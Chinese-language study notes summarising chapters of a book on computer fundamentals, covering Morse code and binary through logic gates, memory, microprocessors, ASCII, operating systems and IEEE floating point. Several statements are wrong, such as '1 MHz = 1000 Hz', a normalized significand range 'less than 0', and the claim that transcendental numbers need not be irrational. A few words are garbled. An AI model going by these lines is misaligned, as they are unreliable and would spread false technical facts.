莫尔斯电码（Morse Code）：有两种闪烁，短闪和长闪。或者点（dot）和划（dash）。

莫尔斯电码表：

编码：一种用来在机器和人之间传递信息的方式。

口头话语（the spoken word）或言辞（speech）：

书面语言（the written word）或文本（text）：

布莱叶盲文：

可以约定，一个 dash 的时长是 dot 的 3 倍。

一个字母中的 dot 和 dash 应间隔一个 dot 的时间。

一个单词中的字母应用一个 dash 的时间分隔。

一个句子中的单词应用两个 dash 的时间分隔。

简单且短促的编码被分配给字母表中使用频率较高的字母，而不太常用的字母则被分配以较长的编码。

SOS：国际求救信号，三个点，三个划，三个点。

缺点：没有区分大写字母和小写字母，但可以通过增加序列来表示。

可以把 dot 读为嘀（dib），把 dash 读为嗒（dab）。

第二章编码与组合

数字的自乘：幂。例如：2*2*2*2 可以记作 2^4，读作 2 的 4 次幂。

码字的数量 = 2^点和划的数量

莫尔斯码树型图：

作用：

确保不会对不同字母定义相同码字。
可以用尽可能短的码字来表示所有字母，避免产生编码长度上的浪费。

码字的数目 = 2^编码的位数

莫尔斯码也被称作二进制码：

组合学或组合分析：数学上的一个分支，常应用到概率和统计学中。

第三章布莱叶盲文与二进制码

在布莱叶盲文中，每个符号被编码成 2*3 的点码单元中的一个或多个凸起的点。

点码单元用 1-6 的数字来编号。

大点表示凸起点，小点表示平点。

一个单词中每个字母所对应的点码单元之间用一小块空白分开，而单词间则用一大块空白（一块没有凸点的点码单元）分开。

优先码（precedence codes）或换挡码（shift codes）：改变作用域编码的含义，直到作用域结束。

逃逸码（escape codes）：逃离对编码串单调的、一成不变的解析，转到一种新的解析方式中。

第四章手电筒的剖析

开关：两个断开的线头。

一个电路就是一个环路，只有整个回路是连通的，灯泡才能被点亮。开关控制断开的过程。

电子理论：电流是由电子的运动而产生的。

原子（atom）由中子（neutron）、质子（proton）和电子（electron）组成。

中子和质子被束缚在原子核内，而电子围绕着原子核旋转。

元素都有一个 1 到 112 之间的特定原子序数（atomic number），它表明了这种元素一个原子的原子核中所含的质子数，通常也是其所含的电子数。

原子通过化学的方式结合成分子（molecules）。

化合物（compound）：水和盐。而盐水是混合物（mixture），因为水和盐都各自保留着自己的性质。

电子一般与质子数目相同。

电流产生的原因：电子从原子中脱离。

电荷（charge）：质子有一个正电荷，电子有一个负电荷，而中子是中性的，不带电荷。

异性电荷相吸引，同性电荷相斥。

原子核中的质子被强力（strong force）束缚到一起。

电池的化学反应使多余的自由电子聚集到负号的那端（负极或阴极），而正号那端（正极或阳极）则变得急需额外的电子。

电子从负极流向正极。

并联后的电压与每个电池一致。

元素的导电能力与它原子内的结构有关。

电子层：电子围绕原子核运行的轨道分为不同等级。

导体（conductor）：原子在最外电子层中只含有 1 个电子，该电子很容易逃逸。如：铜、银和金。

电阻：即阻抗性，有些物质与其它物质相比更不容易让电流通过。

绝缘体（insulator）：几乎不能传导任何电流。如：橡胶、塑料和在干燥空气中的布料和木头。

只要有足够高的电压，任何物质都是可以导电的。

导线越长，阻抗越高；导线越粗，阻抗越低。

电压表征了电流做功的势（potential），即电势能的大小。不管电池是否被连接到电路中，电压都是存在的。

电流（current）与流经电路的电子数有关，计量单位是安培，简称安。

电阻的单位为欧姆。

欧姆定律：I = E / R，I 表示电流，E 表示电压（电动势），R 表示电阻。

短路：电阻非常非常小，导线会发热，因为电能转换为了热能。

瓦特是功率（P）的计量单位，有：P = E * I。

当开关被设置成允许电流通过时，我们称它的状态为开或闭合；当处在关和断开状态时，开关不允许电流通过。

第五章绕过拐角的通信

截面越大，导电性越好。

物理接地：英国：earth；美国：ground。

地球是一个巨大的导体，也可以把它看成是电子的来源和储藏库。

地球之于电子就好像海洋之于水滴，它是一个近乎无限的电子之源，同时也是一个无比庞大的电子池。

大地有时也被认为是零电势（zero potential）点，也就是说现在没有电压。

导线的粗细使用美国线径标准（AWG）进行度量：AWG 数值越小，导线越粗，电阻也就越小。

第六章电报机与继电器

电报（telegraph，即远距离书写）原理：在线路的这一端采取一些措施，使得线路的另一端发生某种变化。

电磁（electromagnetism）现象：如果你手上有一根铁棒，那么在上面用细导线绕几百圈，然后在导线上接通电流，铁棒就变成了一块磁铁。现在它可以吸引其它的铁块和钢块（电磁铁上缠绕足够多的细导线，会产生足够强的电阻，能防止电磁铁产生短路现象）；断开电流，铁棒将丧失磁性。

继电器与发声器很像，传进来的电流驱动电磁铁拉动金属杠，金属杠同时又作为一个开关的组成部分，而这个开关连接着电池的输出线路。通过这种方法，输入的比较弱的电流就被放大成了较强的输出电流。

当输入的电流触发了电磁铁，电磁铁把一个弹性金属条吸附下来，就像闭合了开关一样，使电流可以从接口输出。

第七章我们的十个数字

罗马数字：字母 I 表示 1，可以看做是一个划线或者一根伸出的手指。字母 V 像一只手，表示 5。两个 V 是一个 X，代表数字 10。L 是 50。C 来自单词 centum，表示 100。D 是 500。M 来自拉丁文 mille，表示 1000。

两个罗马数字相加的时候只不过是利用几个规则将两个数合并，这个规则是：五个 I 是一个 V，两个 V 是一个 X，五个 X 是一个 L，以此类推。

阿拉伯数字系统与先前数字系统的区别：

阿拉伯数字系统与位置相关。
阿拉伯数字系统没有用来表示数字 10 的专门符号。
阿拉伯数字系统有 0。

任何数的 0 次幂都等于 1。

第八章十的替代品

在十进制中，10 没有特定的符号，因此在八进制中，同样也没有表示 8 的特定符号。

当书写十进制和八进制数时，我们可以利用下标标注来区分不同数字系统来避免混淆。下标 TEN 表示十进制，EIGHT 表示八进制。

好整数（nice round number）：在十进制中，好整数通常是指结尾有若干个零的数。

任何 2 的整数次幂乘以 2 的整数次幂的结果依然是 2 的整数次幂。

八进制数中的每个位所代表的值是该位数字乘以 8 的整数次幂的结果。

任何一个以 1 开头而后面全是 0 的二进制数一定都是 2 的整数次幂，幂指数就等于这个二进制数中 0 的个数。

任何数乘以 0 结果都为 0，任何数乘以 1，结果都是这个数本身。

模板转换进制：将整个十进制数（小于或等于 255）填入到上面一行最左端的格子中。用第一个除数（128）去除这个数。所得的商填入正下方的格子（左下角的格子），余数填入右边的格子（上面一行左数第二个格子）。用第一个余数再除以下一个除数 64。按照模板的顺序用同样的方法继续进行下去。

原则：

每次求得的商只能是 0 或者 1。
如果被除数小于除数，商为 0，余数就是被除数。
如果被除数大于或等于除数，商为 1，余数就是被除数减去除数所得之差。

二进制数的前导零形式：即第一个 1 的左边有零，只为美观。

当以二进制计数时，最右边的一位（最低位）以 0 和 1 交替。每当该位由 1 变为 0，从右边数第二位（次低位）也随之改变，不是由 0 变到 1，就是由 1 变到 0。因此，每次只要有一个二进制数位的值由 1 变到 0，紧挨着的高位数字也会发生变化，而且其变化不是由 0 到 1 就是由 1 到 0。

为了让二进制数更易读，通常在每四个数字之间用一个连字符或空格分开。

第九章二进制数

通信理论中，噪声（noise）是指影响通信效果的所有事物。

可以利用冗余（redundancy）来抵消噪音的影响。

所有可能被转换成对两种或多种可能性的选择的信息，都可以用比特（bit）来表示。

拥有的比特位数越多，所能表示的不同可能性就越多。

在二进制中，所有的编码数等于 2 的整数次幂，其幂指数就是比特位的位数。每增加一个比特位就会将编码的数量增加一倍。

对数运算是指数运算的逆运算：以 x 为底的 y 的对数为 z：log_xy = z，逆运算：x^z = y。

通用产品代码（UPC）的内容详情见书。

检查错误和一致性的方法，奇偶校验：

奇校验：编码中含有奇数个 1。
偶校验：编码中含有偶数个 1。

补码：0 换成 1，1 换成 0。

模校验：将数字用字母代替，A BCDEF GHIJK。然后计算：3*(A+C+E+G+I+K)+(B+D+F+H+J)。前一个括号从第一个字母开始每隔一个选取，第二个括号从第二个字母开始每隔一个选取。从离这个值最近且大于或等于它的一个 10 的整数倍中减去它，其结果为模校验字符。可作为冗余措施。

第十章逻辑与开关

在三段论中，首先假定两个条件是正确的，然后再通过这两个条件推断出结论。

规则：

加法和乘法的交换律：在运算符的两边的操作数可以任意调换：A+B=B+A、A*B=B*A。减法和除法无法应用交换律。
加法和乘法的结合律：A+(B+C)=(A+B)+C、A*(B*C)=(A*B)*C。
乘法的加法分配律：A*(B+C)=(A*B)+(A*C)。

在布尔代数中，操作数不是数字，而是类。一个类就是一个事物的群体，后来也被称为集合。

+ 号表示两个集合的并集。两个集合的并集的意思是指第一个集合中的所有元素与第二个集合中所有元素的集合。

* 号表示两个集合的交集。两个集合的交集就是指即在第一个集合中又在第二个集合中的所有元素的集合。

交换律、结合律和分配率都在布尔代数中成立，另外，加法可以分配乘法：W+(B*F)=(W+B)*(W+F)。

1 表示全集，即我们所提到的所有事物。

符号 1 与减号连用可以表示在全集中排除一些事物，如：1-M。

0 表示空集，即不包含任何元素的集合。空集往往是两个互斥集合的交集。

矛盾律：事物不可能即是它本身，同时又是它的对立面。

并集用 OR 表示；交集用 AND 表示；从全集中去掉某些元素用 NOT 表示。

在表达式中，每个符号 * 对应电路中的两个开关（或两组开关）串联的点；每个符号 + 对应电路中两个开关（或两组开关）并联的位置。

第十一章门

逻辑门的工作就是让电流通过或阻止电流通过。

继电器像开关一样，可以串联或并联在电路中执行简单的逻辑任务。这种继电器的组合叫做逻辑门。

继电器是通过放大微弱信号来生成强信号的。

连接继电器是建立逻辑门的关键。

双掷继电器：拥有两个输出，但这两个输出在电的极性上是对立的，当一端有电压时，另一端就没有。

反向器不是逻辑门（一个逻辑门通常有两个或多个输入），它能将 0（低电平）转换为 1（高电平），反之亦然。

规则：一个门（或反向器）的输出可以作为一个或多个其它门的输入，但两个或多个门的输出是不可以相互连接的。

2-4译码器：输入为 2 个二进制位，各种组合表示 4 个不同的值。输出是 4 个信号，任何时刻只能有一个是 1，哪个是 1 取决于输入。

或非门：用 NOR 表示，结果和或门相反。

与非门：用 NAND 表示，结果和与门相反。

缓冲器用于延迟一个信号。

带有两个反向输入的与门和或非门是等价的；带有两个反向输入的或门和与非门也是等价的。

摩根定律:

两个操作数先被取反，再进行与运算 = 两个操作数进行或运算后再取反（即或非）。
两个操作数先取反，再进行或运算 = 两个操作数先做与运算后再取反（即与非）。

第十二章二进制加法器

一对二进制数相加的结果中具有两个数位，其中一位叫做加法位，另一位叫做进位位。

异或门：用 XOR 表示，有且仅有单个输入为 1 时，结果才为 1，否则为 0。

同或门：当两个输入相同时，结果才为 1。

两个二进制数相加的结果是由异或门的输出给出的，而进位位是由与门的输出给出的。

半加器：将两个二进制数相加，得到一个加法位和一个进位位，但没有将之前一次的加法可能产生的进位位纳入下一次运算。

最低有效位位于最右边；最高有效位位于最左边。

行波进位（或脉冲进位）：加法器的总体速度等于数字的位数乘以全加器器件的速度。

继电器->真空管->晶体管。

第十三章如何实现减法

补码（补数）：每位取反加 1（最大数减去再加 1），为了避免减法中的借位。

将进行减法的两个数分别用被减数和减数表示。从被减数中减去减数，得到差。

避免借位：原式：176-253=-77

用 999 减去减数 253，计算出对 9 的补数：999-253=746
把该数对 9 的补数与被减数相加：176+746=922
由于之前已经加了 999，这里再减去 999：922-999=-77

从一串 9 中减去一个数叫做对 9 求补数。在二进制减法中，减数是从一串 1 中减去的，结果称为对 1 的补数。

相反数（反码）：对 1 求补数，即将原来二进制数中的 1 变为 0，0 变为 1。

以 8 位二进制数为例，范围为 00000000~11111111，对应十进制中的 0~255。这样可以表示的数的范围是-128~+127。最高有效位（最左边）作为符号位。符号位中，1 表示负数，0 表示正数。

为了计算 2 的补数，则首先要计算 1 的补数，然后加 1。这等价于将每位取反再加 1。用同样的步骤，每位取反再加 1，可以将数值还原。

2 的补码系统为我们提供了一种不用负号就能表示正、负数的方法，也让我们能够自由地将正数和负数用加法法则相加。

第十四章反馈与触发器

振荡器（时钟）：在不需要人为干涉的情况下，可以完全自发地工作。

振荡器从某个初始状态开始，经过一段时间又回到先前初始状态的这一段间隔定义为振荡器的一个循环或一个周期。

一个循环所占用的时间就是该振荡器的周期。

周期的倒数就是振荡器的频率。可以记作赫兹，即 Hz。

反馈：系统的输出返回给输入，与振荡器构造类似。

触发器：同样是在两个开关都断开的状态下，灯泡有时亮着，有时却不亮。当两个开关都断开时，电路有两个稳定态。

触发器电路可以保持信息，它可以记忆信息。

R-S（复位/置位）触发器。

功能表（逻辑表或真值表）：表达了不同输入组合所对应的不同输出结果。

电平触发的 D 型触发器：D 表示数据端输入。电平触发是指当保持位输入为某一特定电平时，触发器才保存数据端的输入值。

电平触发的 D 型锁存器：表示电路锁存住一位数据并保持它，以便将来使用。也可以称之为 1 位存储器。

边沿触发：只有当时钟从 0 跳变到 1 时，才会引起输出的改变。

区别：在电平触发器中，当时钟输入为 0 时，数据端输入的任何改变都是会影响输出；而在边沿触发器中，当时钟输入为 1 时，数据端输入的改变也不会影响输出。只有在时钟输入从 0 变到 1 的瞬间，数据端的输入才会影响边沿触发器的输出。

时钟信号的正跳变：当时钟端由 0 变为 1 时；负跳变指从 1 变为 0。

分频器：它的输出反馈到触发器的数据端输入。

8 位行波计数器：每一个触发器的输出都是下一个触发器的时钟输入。变化在触发器中一级一级地顺序传递，最后一级触发器的变化必定有一些延迟。更先进的计数器是并行（同步）计数器，该计数器所有输出是在同一时刻改变的。

可以使用计数器来确定振荡器的频率。

第十五章字节与十六进制

数据路径，这些电路中的数据路径的位宽就是 8。8 比特代表一个字节。

半字节：字节的一半，即 4 比特。

八进制数和二进制数之间的转换只需要记住 0~7 这 8 个数字所对应的 3 位二进制数即可。

二进制数转八进制数：从最右端数字开始，每 3 比特看做一组，这样每组就对应着一个八进制数。

两个十六进制数可以完整地代表一个字节，则一个十六进制数恰好由 4 位二进制数组成，即半字节。

用一个小写的 h 紧跟在数字后边表示这个数是以十六进制表示的。

十进制转十六进制：可以用这个数除以 16，分别得到商和余数，商作为结果保留，而余数则作为下次运算的除数。

第十六章存储器组织

电报继电器：以一定形式组织起来构成逻辑门，然后再形成触发器，同样具备保存信息的能力。

8-1 数据选择器：有 8 个数据输入端，以及 3 个选择输入端。选择输入端的功能就是选择一个输入端数据，然后使其在输出端输出。

3-8 译码器：输出端口共有 8 个，任何时刻只会有一个锁存器的输出为 1，其余为 0。每个输出端结果由三个信号的排列组合决定，而数据的输出与输入一致。

读/写存储器（随机访问存储器，RAM）：可以在每个锁存器存储新的数据（写数据），还可以检查每个锁存器都保存了什么数据（读数据）。读写操作很自由，只需要改变地址及相关的输入就可以从 8 个锁存器中读出或写入需要的数据。

将 RAM 进行特殊的配置可形成 RAM 阵列，该阵列以 8*1（读作8乘1）的方式组织起来，以 1 比特作为存储单位，共存储 8 个单位的数据，所以这个 RAM 阵列中能存储的位数等于 8 与 1 的乘积。

通过共享地址把两个 8*1 的 RAM 阵列连接起来，把其地址和输出都分别看成一个整体，这样就得到了一个 8*2 的 RAM 阵列，该阵列可存储的二进制数依然是 8 个，但每个数的位宽为 2 位。

还可以把两个 8*1 的 RAM 阵列看作是两个锁存器，使用一个 2-1 选择器和一个 1-2 译码器将它们按照单个锁存器连接方式进行集成，这种结构实际上就是 16*1 的 RAM 阵列。

RAM 阵列的存储容量 = 2^地址输入端的个数

可以证明不存在一对整数 a 和 b 使得 10 的 a 次幂与 2 的 b 次幂相等，但有 2^10 约等于 10^3，即 2 的某次幂和 10 的某次幂几乎相等。

1024 字节通常被简称为 1 千字节（kilobyte），千字节可以简写成 KB。
可以把 1024KB 统称为 1 兆字节（megabyte），兆字节缩写为 MB。
1024MB 称为 1 吉字节（gigabyte），缩写为 GB。
1 太字节（terabyte）表示 2^40 个字节，缩写为 TB。
1 批字节（petabyte）表示 2^50 个字节，缩写为 PB。
1 安字节（exabyte）表示 2^60 个字节，缩写为 EB。

在存储器领域，通常使用的是字节数而非比特。但在描述在线路中流动的数据时，会使用类似千比特每秒（kbps）或兆比特每秒（mbps）的用语。千比特 = 1000 bit。

随机访问存储器是以易失性存储器，需要恒定电流来保证数据不丢失。

第十七章自动操作

累加器：用来累加多个数的锁存器。

指令码（操作码）：指示电路要执行的某种操作。

控制信号：由逻辑门的各种组合实现，用来控制组件。

在位宽 8 个机器上做 16 位计算：

加宽度：把两个 8 位加法器连在一起构成一个 16 位的设备。
先低字节再高字节：先处理最右边的字节（低字节），再计算最左边的字节（高字节）。低字节时保存进位输出，并把它作为高字节运算的进位输入。

取指令：从存储器中取出指令的过程。如果每一条指令的长度是 3 个字节，因为每次从存储器取回一个字节，所以取每条指令需要的时间为 3 个时钟周期。此外，一个完整的指令周期需要 4 个时钟周期。

执行指令：机器响应指令码做一系列操作的过程。每一种机器码用其唯一的方式触发多种控制信号，从而引发机器执行各种操作。

TANSTAAFL 工程准则：改进了机器的某个方面，则其它方面就会有损失，有得就有失。

分支指令（goto 指令）：改变机器的顺序寻址方式，转到另一个位置。

条件跳转指令使得跟以往的计算器区别开来，能否控制重复操作或者循环是计算机和计算器的区别。

数字计算机处理离散数据；模拟计算机处理模拟数据。

数字数据就是离散数据，即这些数据是一些确定的离散值；模拟数据是连续的，并且在整个取值区间变化。

第十八章从算盘到芯片

可计算性：用来分析哪些事情计算机可以做到，哪些做不到。

存储程序概念：这些指令在存储器中是顺序存放的，而且可以由程序计数器进行寻址，但允许条件跳转。

半导体：如锗元素和硅元素以及一些化合物。它们的导电系数可以通过多种方式操控。

半导体可以与某些杂质组合，可分为 N 型半导体（为原子之间的结合提供额外的电子）和 P 型半导体。

NPN 晶体管：其三部分分别为集电极、基极和发射极。是一个由一个 P 型半导体夹在两个 N 型半导体之间形成的放大器。在基极施加微小的电压就可以控制非常大的电压从集电极到发射极。

集成电路（IC，芯片）通过将硅片分层，然后非常精确地掺入杂质以及蚀刻不同的区域形成微小组件来制作。

集成电路最常见的封装方式是采用矩形塑料双排直插式（DIP），提供14、16或40个管脚。

摩尔定律：每 18 个月同一块芯片上集成晶体管数目就会翻一倍。

传播时间：输入端发生变化引起输出端发生相应变化所需要的时间。

通常以纳秒来衡量芯片的传播时间，缩写为 nsec，即 ns。千分之一秒称为毫秒，百万分之一秒称为微秒，十亿分之一秒才为纳秒。

通常情况下是每秒至少震荡一百万个周期，称 1 兆赫兹，缩写为 MHz。

在比较微处理器性能时采用的标准：

位数
时钟频率：是指连接到微处理器并驱动它运行的振荡器的最大频率，超过此时钟频率，微处理器将不能正常工作
寻址能力

可计算性的一种定义：某种意义上来讲，所有的数字计算机都是相同的，如果一台处理器从硬件上无法做到另外一台可以做到的事情，那么它可以通过软件途径做到，最终它们可以完成相同的事情。

第十九章两种典型的微处理器

一个微处理器通常有多个用来寻址存储器的输出信号。用于寻址的输出信号的数目与微处理器的可寻址空间大小直接相关。

1 MHz = 1000 Hz。

时钟周期 = 1 / 时钟频率（单位为 Hz）

寄存器和累加器非常类似，本质上都是锁存器。处理器既可以把数据从存储器读入寄存器，也可以把数据从寄存器存回存储器。

通常把两个 8 位的寄存器 H 和 L 合起来构成一个 16 位的寄存器对，称作 HL，H 用来保存高字节而 L 用来保存低字节。

直接寻址；间接寻址；立即数寻址。

标志位：进位标志位CF、零标志位ZF、符号标志位SF、奇偶标志位PF、辅助进位标志位AF。

用一个专门的 8 位寄存器来存放所有标志位，该寄存器称做程序状态字（PSW）。

按位运算指令：对于这些逻辑运算指令，其操作数的每一个对应位都是独立计算的。

BCD 码：是一种编码，把 1-9（十进制中的各个数字）用 4 位单独表示，所以一个字节可以表示两个十进制数。

循环移位指令：可以把累加器中的内容向左或向右移动 1 位。共有两种移位方式。

猥琐胶片和磁带都不是随机访问的，而是顺序访问的。

堆栈（后进先出存储器，LIFO）：最先保存到堆栈的数据最后被取出，而最后保存的数据则最先取出。存入数据称为压入（push），取出数据称为弹出（pop）。

堆栈指针：一个专门的 16 位寄存器对堆栈的存储空间寻址。

堆栈上溢（stack overflow）：过多地使用了 PUSH 指令导致堆栈覆盖掉存储器中保存的程序所必需的代码或数据。

堆栈下溢（stack underflow）：过多地使用了 POP 指令导致过早地取完堆栈中的数据。

堆栈的初始位置将会是存储器的最高地址，因为程序的代码通常从最低位置开始存放，因此两者将保持非常远的距离。

在处理器中专门设置了一个称为程序计数器 PC 的寄存器，它用来保存处理器将要取出并执行的指令的存储地址。跳转等指令使 PC 重新加载另外的值。

调用指令（CALL）会使得 PC 加载一个新的地址，并保存原来的地址到堆栈。

子程序由 CALL 指令实现，它是一段频繁使用的完成特定功能的代码。

在某些微处理器中，外围设备实际上占用了一些通常用来寻址存储器的地址，这种结构称作内存映像I/O。

I/O端口：专门用来访问输入/输出设备的地址。

中断机制。

小端序（Intel方式）：低字节在前，高字节在后。

大端序（Motorola方式）：高字节在前，低字节在后。

RISC（精简指令集计算机）：通过某些方面的简化来提高处理器的速度。指令通常都是等长的，只有加载和保存两种指令能访问存储器，并且尽量简化指令的操作。还设置了大量寄存器，这样就能避免频繁访问存储器以提高运行速度。

现代提高速度的方法：

流水线技术：处理器在执行一条指令的同时读取下一条指令，尽管跳转指令在一定程度上会改变这种流程；
高速缓存存储器（Cache）：是一个设置在处理器内部，访问速度非常快的 RAM 阵列，用来存放处理器最近要执行的指令。由于计算机程序经常执行一些小的指令循环，使用 Cache 可以避免反复加载这些指令。

第二十章 ASCII 码和字符转换

为了将文本表示为数字形式，需要构建一种系统来为每一个字母赋予一个唯一的编码。数字和标点符号也算作文本的一种形式，所有它们也必须拥有自己的编码。

所有由符号所表示的字母和数字都需要编码，具有这种功能的系统被称为字符编码集，系统内的每个独立编码称为字符编码。

莫尔斯码是自适应长度编码，即常用字符编码较短，而不常用字符的编码较长。这种编码非常适合电报系统，但不适合计算机。另外，莫尔斯码并不区分字母的大小写。

布莱叶盲文编码使用固定宽度，非常适合计算机使用。每一个字符对应着 6 比特的编码，并且用到了转义码对大小写进行了区分。转义码用来表明下一个字符为大写。用移位码表示数字，移位码后紧跟的编码都被看做数字，直到遇到下一个移位码。

对一个句子进行编码后得到的连续字符通常被称为文本字符串。

当使用电传打字机时，一旦到了一行的末尾，就会先回车：让打印机的滑架回到初始位置，这样打印下一行时可以从纸的最左边开始；然后换行：将打印机的滑架移至正在使用中的位置的下一行。

在 ASCII 码中，一个大写字母与其对应的小写字母的 ASCII 码值相差 20h。

图形文字可以被显示出来；而控制字符是用来执行某一特定功能，因而不用显示出来。

TAB 符的作用是在下一个水平位置，即在距前一个字符的间距为字符长度 8 倍的位置打印下一个字符。

换页符：使得打印机跳出当前页，并开始准备打印下一页。

回车符使得打印头换行并转移至当前页面的最左端；换行符使打印头转移至当前位置下一行。

回车符通常用来另起一行继续打印，换行符通常在不需要移到页面最左端而换行时使用。

第二十一章总线

计算机中各部件按照功能被分别安装在两个或更多的电路板上，这些电路板之间通过总线通信。总线是数字信号的集合，这些信号被提供给计算机上的每块电路板。

信号分类：

地址信号：这些信号由微处理器产生，通常用来对 RAM 进行寻址操作，也可以用来对连接到计算机的其它设备进行寻址操作。计算机能容纳的最大内存由 CPU 决定，而 CPU 由地址总线可寻址范围决定。
数据输出信号：由微处理器产生，用来把数据写入到 RAM 或其它设备。来自微处理器的数据输出信号会变成 RAM 和其它设备的数据输入信号。
数据输入信号：由计算机的其它部分提供，并由微处理器读取。数据输入信号由 RAM 输出，这就解释了微处理器是怎样从内存中读取内容的。其它部件也可以给微处理器提供数据输入信号。
控制信号：控制信号可以产生于微处理器，也可以由与微处理器通信的其它设备产生。

总线还可以为计算机上不同电路板供电。

直接存储器访问（DMA）请求信号，可以使存储设备快速地执行存储操作。其它设备也可以不通过微处理器而获得总线的控制权，进而直接对内存进行读写。

如果设计出来的总线不适合高速传输的话，就会出现射频干扰，这会使得附近的收音机和电视机产生静电或其它噪声。

RAM 阵列能存放的数据的数量是和地址输入信号的个数有关的：RAM 阵列中数字的个数 = 2^地址信号的个数

数据输入、输出信号决定着所存储的数字的大小（位数）。

访问时间：指从芯片接收到地址信息到输出有效数据所需时间。

电压的不确定性：一个集成电路的输出为 1，另一个集成电路的输出为 0。如果把这两个输出连接在一起，结果是无法确定的。

几乎所有连接在总线上的器件都使用由总线传递而来的数据输入信号，但不管何时，连接在总线上的电路板中只有一个能确定总线数据输入信号的类型，其它电路板处于三种状态中的无效状态。

DRAM 芯片在使用时需要定期访问其存储器中的内容，尽管有时并不需要这些内容。该过程被称为更新周期，每秒钟都必须进行几百次。就好像为了不让某人睡觉而每隔一段时间就用手肘清退他一样。

称连接到计算机上的 CRT 为视频显示器，而称可以为视频显示器提供信号的电子元件为视频适配器，即显卡。

在通信领域，带宽是极其重要的概念，某个特定的传输媒介能够传输的信息量都是受带宽限制的。

只读存储器（ROM）：它是一种集成电路，在生产时就已经填入数据，固定的地址输出的数据是不变的，且 ROM 中并没有数据输入信号。

1 位是和 1 个像素对应的，只能用来表示两种颜色，如：黑和白。

每种颜色都是由红、绿、蓝三原色的不同组合而形成的。为了获取所有颜色，三原色中每个颜色的强度都需要一个字节来表示。

颜色数量 = 2^每个像素赋予的比特数

屏幕长宽比：图像的宽和高之比。

正方形像素：100 个像素的水平线和 100 个像素的垂直线有着相同的物理长度。

对于想要长期保存的文件，磁带还是首要选择。

磁盘分为软盘和硬盘。

硬盘围绕其中心旋转，连到臂上的一个或多个磁头从硬盘外沿向中间移动，通过磁头可以快速访问硬盘上的任何区域。表面被划分成许多同心圆，称为磁道。每个磁道又被划分成像圆饼切片形状的扇区，每个扇区可以存放一定数量的字节，通常为 512 字节。

DMA 可以不经过微处理器，在总线上实现数据在随机访问存储器和硬盘之间直接传送，这样的传送是以块为单位的，每次传输的块大小是磁盘扇区字节数的倍数，通常是 512 字节。

memory（内存）表示半导体随机访问存储器；storage（存储器）用来指任何的存储设备，通常包括软盘、硬盘和磁带。

存储的信息是否易失是随机访问存储器和磁介质存储器的主要区别：随机访问存储器是易失性存储器，一旦掉电，存储内容就会消失；而磁介质存储器是永久性存储设备，除非故意删除或写覆盖，否则数据将会一直保留不变。

当微处理器发出一个地址信号，通常是寻址随机访问存储器而非磁介质存储器。

微处理器不能直接从磁盘读取数据，需要将所需的数据从磁盘调入内存（随机访问存储器），然后它才能对其访问。微处理器还需要执行一段小程序，这段程序会访问磁盘，并将数据从磁盘调入内存。

第二十二章操作系统

当一个微处理器首次上电或复位时，它会从特定的内存地址开始执行机器代码。

键盘响应中断过程：每次有按键按下的时候，就会产生一个中断信号送至微处理器。计算机内有中断控制芯片，通过执行一条 RST 指令使得微处理器响应这次中断，例如：RST 1，微处理器执行这条指令，把当前程序计数器的值压入到堆栈中，然后跳转到地址 0008h 处。可以直接在这片地址空间上输入一些代码，这些代码被称为键盘处理程序。

可编程只读存储器（PROM）：只能编程一次；而可擦除可编程只读存储器（EPROM）可重复擦除和写入，该芯片的正面开有一个玻璃窗口，让紫外线透过这个孔照射内部芯片就可以擦除其中的内容了。

文件系统是磁盘存储的一种方法，就是把数据组织成文件。文件就是相关数据的集合，占用磁盘上一个或多个扇区。

文件以及读取这些文件所需的所有信息都存储在磁盘上。

文件存储在磁盘中不一定要占据连续的扇区空间。

引导程序：操作系统的其余部分可以通过这段代码的自举操作被高效地引导。

FAT（文件分配表）的基本思想是：将磁盘空间分成簇，簇的大小由磁盘空间的大小决定，每个文件占用若干簇。文件的目录项只记录文件起始簇的位置，而磁盘上每一簇的下一簇的位置由 FAT 来记录。

Unix 思想：人们都使用文本文件作为公用文件形式，许多 Unix 实用程序读取文本文件，利用它提供的一些功能做些处理，然后将其写入另一个文本文件。因此可以用链的形式来组织 Unix 实用程序，然后对这些文本文件做相应的处理。

时分复用技术：这种技术允许多个用户同时与计算机进行交互。

多任务操作系统：可以在该系统上同时运行多个任务。

内存管理：考虑内存的分配问题。

虚拟内存：在磁盘上划出部分空间用做保存临时文件，程序把暂时不需要用的内存块放到临时文件里，待需要时再把它调入内存。

第二十三章定点数和浮点数

实数：

有理数（分数）：小数点后有规律（整数的比）；自然数（正整数）：包括 0。
无理数：小数点后无规律；超越数（pi, e）：不是任何以整数为系数的代数方程解；无理数有可能是超越数，超越数不一定是无理数。

虚数：负数的平方根。

复数：实数+虚数。

浮点数：

32 位：约等于 10^7。
64 位：约等于 10^13。

在十进制数字系统中，在小数点左边的数的每一位都和 10 的正整数次幂相关，而其右边的数的每一位都和 10 的负整数次幂相关。

数字计算机只能处理离散数据，二进制数的位数直接决定了所能表示的离散数值的个数。

定点格式：小数点的位置总是在数的某个特定位置，而且有关小数点位置的信息并没有和整个数字一起存储。使用该格式的程序需要决定。在非常大或非常小的数字中使用定点格式是不合适的。

科学计数法：把每个数表示成有效位与 10 的幂的乘积的形式，这样就可以避免写一长串的 0，所以特别适合极大或极小的数。分成两部分：有效数和指数。

指数可以表明小数点相对于有效数移动的距离，指数的正负性只是表明了数的大小，它并不能指明数本身的正负性。

科学计数法的规范化式：规定有效数的取值范围是大于或等于 1，而小于 0。

浮点数基于科学计数法，借助二进制数实现。

在二进制中，二进制小数点右边的数字和 2 的负整数次幂相关。

在二进制的科学计数法的规范化中，有效数应该大于或等于 1 且小于 10（即十进制的2），因此规范化后小数点的左边通常只有一个 1，除此之外没有其它数字（有 0 的话可以忽略，因此一定只有 1）。

IEEE 浮点数标准定义了两种基本格式：以 4 字节表示的单精度格式和以 8 字节表示的双精度格式。

单精度格式的 4 个字节可以分为三个部分：1 位的符号位（0 代表正数，1 代表负数），8 位用做指数，最后 23 位用做有效数。

对于二进制科学计数法的规范化式，其有效数的小数点左边有且仅有一个 1，因此在 IEEE 浮点数标准中，这一位没有分配存储空间。在该标准中，仅存储有效数的 23 位小数部分，进过存储的只有 23 位，但仍然称其精度为 24 位。

8 位指数部分的取值范围是 0~255，称为偏移指数，它的意思是：对于有符号指数，为了确定其实际所代表的值必须从指数中减去一个值，该值称做偏移量。对于单精度浮点数，其偏移量为 127。

指数 0 和 255 用于特殊的目的，如果指数的取值范围是 1~254，那么对于一个特定的数，可以用 s（符号位）、e（指数）和f（有效数）来描述它：(-1)^s * 1.f * 2^(e-127)。

